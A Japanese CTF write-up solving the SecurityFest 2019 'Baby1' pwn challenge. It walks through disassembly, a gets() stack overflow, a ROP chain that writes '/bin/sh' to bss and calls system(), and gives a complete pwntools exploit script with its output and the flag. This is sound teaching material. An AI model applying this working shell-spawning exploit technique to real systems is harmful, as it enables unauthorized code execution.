Baby1
When Swordfish came out, these were considered some state of the art techniques. Let's see if you have what it takes.
settings Service: nc baby-01.pwn.beer 10001
cloud_download Download: baby1.tar.gz
baby1.tar.gzを解凍するとbaby1が与えられる。
$ file baby1 baby1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=1b9a2f62696e2f736800229822a655f2c80d159a, not stripped
radare2で解析する。
r2 baby1 -- I love gradients. [0x004005a0]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Enable constraint types analysis for variables [0x004005a0]> afl 0x00400056 1 323 fcn.00400056 0x00400528 3 23 sym._init 0x00400550 1 6 sym.imp.puts 0x00400560 1 6 sym.imp.system 0x00400570 1 6 sym.imp.printf 0x00400580 1 6 sym.imp.gets 0x00400590 1 6 sym.imp.setvbuf 0x004005a0 1 42 entry0 0x004005d0 1 2 sym._dl_relocate_static_pie 0x004005e0 4 42 -> 37 sym.deregister_tm_clones 0x00400610 4 58 -> 55 sym.register_tm_clones 0x00400650 3 34 -> 29 entry.fini0 0x00400680 1 7 entry.init0 0x00400687 1 17 sym.banner 0x00400698 1 27 sym.win 0x004006b3 1 117 main 0x00400730 3 101 -> 92 sym.__libc_csu_init 0x004007a0 1 2 sym.__libc_csu_fini 0x004007a4 1 9 sym._fini
[0x00400698]> s main [0x004006b3]> pdf / (fcn) main 117 | int main (int argc, char **argv, char **envp); | ; var int32_t var_10h @ rbp-0x10 | ; DATA XREF from entry0 (0x4005bd) | 0x004006b3 55 push rbp | 0x004006b4 4889e5 mov rbp, rsp | 0x004006b7 4883ec10 sub rsp, 0x10 | 0x004006bb 488b055e1920. mov rax, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5 ; [0x602020:8]=0 | 0x004006c2 b900000000 mov ecx, 0 | 0x004006c7 ba02000000 mov edx, 2 | 0x004006cc be00000000 mov esi, 0 | 0x004006d1 4889c7 mov rdi, rax | 0x004006d4 e8b7feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) | 0x004006d9 488b05301920. mov rax, qword [obj.stdout] ; obj.__TMC_END ; [0x602010:8]=0 | 0x004006e0 b900000000 mov ecx, 0 | 0x004006e5 ba02000000 mov edx, 2 | 0x004006ea be00000000 mov esi, 0 | 0x004006ef 4889c7 mov rdi, rax | 0x004006f2 e899feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) | 0x004006f7 b800000000 mov eax, 0 | 0x004006fc e886ffffff call sym.banner | 0x00400701 bfc4104000 mov edi, str.input: ; 0x4010c4 ; "input: " | 0x00400706 b800000000 mov eax, 0 | 0x0040070b e860feffff call sym.imp.printf ; int printf(const char *format) | 0x00400710 488d45f0 lea rax, [var_10h] | 0x00400714 4889c7 mov rdi, rax | 0x00400717 b800000000 mov eax, 0 | 0x0040071c e85ffeffff call sym.imp.gets ; char *gets(char *s) | 0x00400721 b800000000 mov eax, 0 | 0x00400726 c9 leave \ 0x00400727 c3 ret
getsを使用しているのでバッファオーバーフローが可能
| 0x0040071c e85ffeffff call sym.imp.gets ; char *gets(char *s)
return addressまでのoffset
input: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH RSP: 0x7fffffffdd98 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH") RIP: 0x400727 (<main+116>: ret) gdb-peda$ pattern offset (AADAA (AADAA found at offset: 24
win functionでは引数を使用してsystem()を呼んでいる。
[0x004005a0]> s sym.win [0x00400698]> pdf / (fcn) sym.win 27 | sym.win (int32_t arg1); | ; var int32_t var_8h @ rbp-0x8 | ; arg int32_t arg1 @ rdi | 0x00400698 55 push rbp | 0x00400699 4889e5 mov rbp, rsp | 0x0040069c 4883ec10 sub rsp, 0x10 | 0x004006a0 48897df8 mov qword [var_8h], rdi ; arg1 | 0x004006a4 488b45f8 mov rax, qword [var_8h] | 0x004006a8 4889c7 mov rdi, rax | 0x004006ab e8b0feffff call sym.imp.system ; int system(const char *string) | 0x004006b0 90 nop | 0x004006b1 c9 leave \ 0x004006b2 c3 ret
/bin/sh\00はgets()を使用してbssに書き込むことにした。
$ readelf -a baby1 (snip) [23] .bss NOBITS 0000000000602010 00002010 0000000000000020 0000000000000000 WA 0 0 16 (snip)
gets()とsystem()にarg1に引数を与えるため、pop rdi; ret;ガジェットを探す。
$ rp --file=baby1 --unique --rop=5 | grep pop 0x0040068e: add al, bpl ; mov ebx, 0x90FFFFFE ; pop rbp ; ret ; (1 found) 0x0040068f: add al, ch ; mov ebx, 0x90FFFFFE ; pop rbp ; ret ; (1 found) 0x00400606: add byte [rax], al ; pop rbp ; ret ; (1 found) 0x00400605: add byte [rax], r8L ; pop rbp ; ret ; (1 found) 0x00400667: add byte [rcx], al ; pop rbp ; ret ; (1 found) 0x0040068a: in eax, 0xBF ; mov eax, 0xE8004007 ; mov ebx, 0x90FFFFFE ; pop rbp ; ret ; (1 found) 0x00400662: mov byte [0x0000000000602028], 0x00000001 ; pop rbp ; ret ; (1 found) 0x0040068c: mov eax, 0xE8004007 ; mov ebx, 0x90FFFFFE ; pop rbp ; ret ; (1 found) 0x00400691: mov ebx, 0x90FFFFFE ; pop rbp ; ret ; (1 found) 0x00400664: mov edi, 0x01002019 ; pop rbp ; ret ; (1 found) 0x00400695: nop ; pop rbp ; ret ; (1 found) 0x00400603: nop dword [rax+rax+0x00] ; pop rbp ; ret ; (1 found) 0x00400645: nop dword [rax] ; pop rbp ; ret ; (1 found) 0x00400789: or byte [rbx+0x5D], bl ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) 0x0040078c: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) 0x0040078e: pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) 0x00400790: pop r14 ; pop r15 ; ret ; (1 found) 0x00400792: pop r15 ; ret ; (1 found) 0x004005fb: pop rbp ; mov edi, 0x00602010 ; jmp rax ; (2 found) 0x0040078b: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) 0x0040078f: pop rbp ; pop r14 ; pop r15 ; ret ; (1 found) 0x00400608: pop rbp ; ret ; (4 found) 0x00400793: pop rdi ; ret ; (1 found) 0x00400791: pop rsi ; pop r15 ; ret ; (1 found) 0x0040078d: pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) 0x00400665: sbb dword [rax], esp ; add byte [rcx], al ; pop rbp ; ret ; (1 found)
0x00400793: pop rdi ; ret ; (1 found)
pop rdi; ret;ガジェットが見つかったので次のようなROPを組む。
# gets(bss) --------------- pop rdi ; ret; --------------- bss addr --------------- plt.gets --------------- # system(/bin/sh) --------------- pop rdi ; ret; --------------- bss addr --------------- plt.system ---------------
最終的なexploit.py
from pwn import * def send_payload(payload): log.info("payload = %s" % repr(payload)) r.send(payload) return def sendline_payload(payload): log.info("payload = %s" % repr(payload)) r.sendline(payload) return def print_address(s, addr): log.info(s + ' : ' + hex(addr)) return binary = './baby1' host ='baby-01.pwn.beer' port = 10001 elf = ELF(binary) context.binary = binary # context.log_level = 'debug' REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r' if REMOTE: # remote r = remote(host, port) else: # local r = process(binary) libc = elf.libc str_bin_sh = '/bin/sh\x00' addr_plt_puts = elf.plt['puts'] addr_plt_gets = elf.plt['gets'] addr_plt_system = elf.plt['system'] bss = elf.bss() print r.recvuntil('input: ') ''' Gadget rp --file=binary --unique --rop=5 0x00400793: pop rdi ; ret ; (1 found) ''' payload = '' payload += 'A' * 24 rop = ROP(elf) rop.raw(0x00400793) # pop rdi ; ret rop.raw(bss) rop.raw(addr_plt_gets) rop.raw(0x00400793) # pop rdi ; ret rop.raw(bss) rop.raw(addr_plt_system) print rop.dump() payload += rop.chain() sendline_payload(payload) r.sendline(str_bin_sh) r.sendline('cat flag') print r.recvall() # r.interactive()
実行結果
$ python exploit.py r [*] '/home/user/Desktop/CTF/SecurityFest 2019/Pwn/Baby1/baby1' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to baby-01.pwn.beer on port 10001: Done Rather ROP than RIP --Lars Tzu 2019 ▄▀▀▀▀▀▀▀▀▀▀▀██ ▄▀▀▀▀▀▀▀▀▀▀▀██ ▄▀▀▀▀▀▀▀▀▀▀▀██ ▄▀▀▀▀▀▀▀▀▀▀▀██ ▄▀▀▀▀▀▀▀▀▀▀▀██ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ▄▀▀▀▄ █ █ █ █▀▀▀▄ █ █ █ █ █ █ █ █ █▀▀▀▄ █ █ █ ▄█ █ █ █ █▄▄▄█ █ █ █ █▄▄▄▀ █ █ █ ▀▄▄▄▀ █ █ █ █▄▄▄▀ █ █ █ ▀ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ▀ ▀ █ ▄▀ █ ▀▀▀▀ █ ▄▀ █ ▀ █ ▄▀ █ ▀▀▀▀ █ ▄▀ █ ▀▀▀▀▀ █ ▄▀ █▄▄▄▄▄▄▄▄▄▄▄█▀ █▄▄▄▄▄▄▄▄▄▄▄█▀ █▄▄▄▄▄▄▄▄▄▄▄█▀ █▄▄▄▄▄▄▄▄▄▄▄█▀ █▄▄▄▄▄▄▄▄▄▄▄█▀ input: [*] Loaded cached gadgets for './baby1' 0x0000: 0x400793 pop rdi; ret 0x0008: 0x602010 0x0010: 0x400580 plt.gets 0x0018: 0x400793 pop rdi; ret 0x0020: 0x602010 0x0028: 0x400560 plt.system [*] payload = 'AAAAAAAAAAAAAAAAAAAAAAAA\x93\x07@\x00\x00\x00\x00\x00\x10 `\x00\x00\x00\x00\x00\x80\x05@\x00\x00\x00\x00\x00\x93\x07@\x00\x00\x00\x00\x00\x10 `\x00\x00\x00\x00\x00`\x05@\x00\x00\x00\x00\x00' sctf{1.p0p_r3GIs73rS_2.pOp_5H3lL_3.????_4.pr0FiT} [*] Closed connection to baby-01.pwn.beer port 10001
FLAG : sctf{1.p0p_r3GIs73rS_2.pOp_5H3lL_3.????_4.pr0FiT}
あとがき
競技時間に出来なかったので現在進行系で解いてます。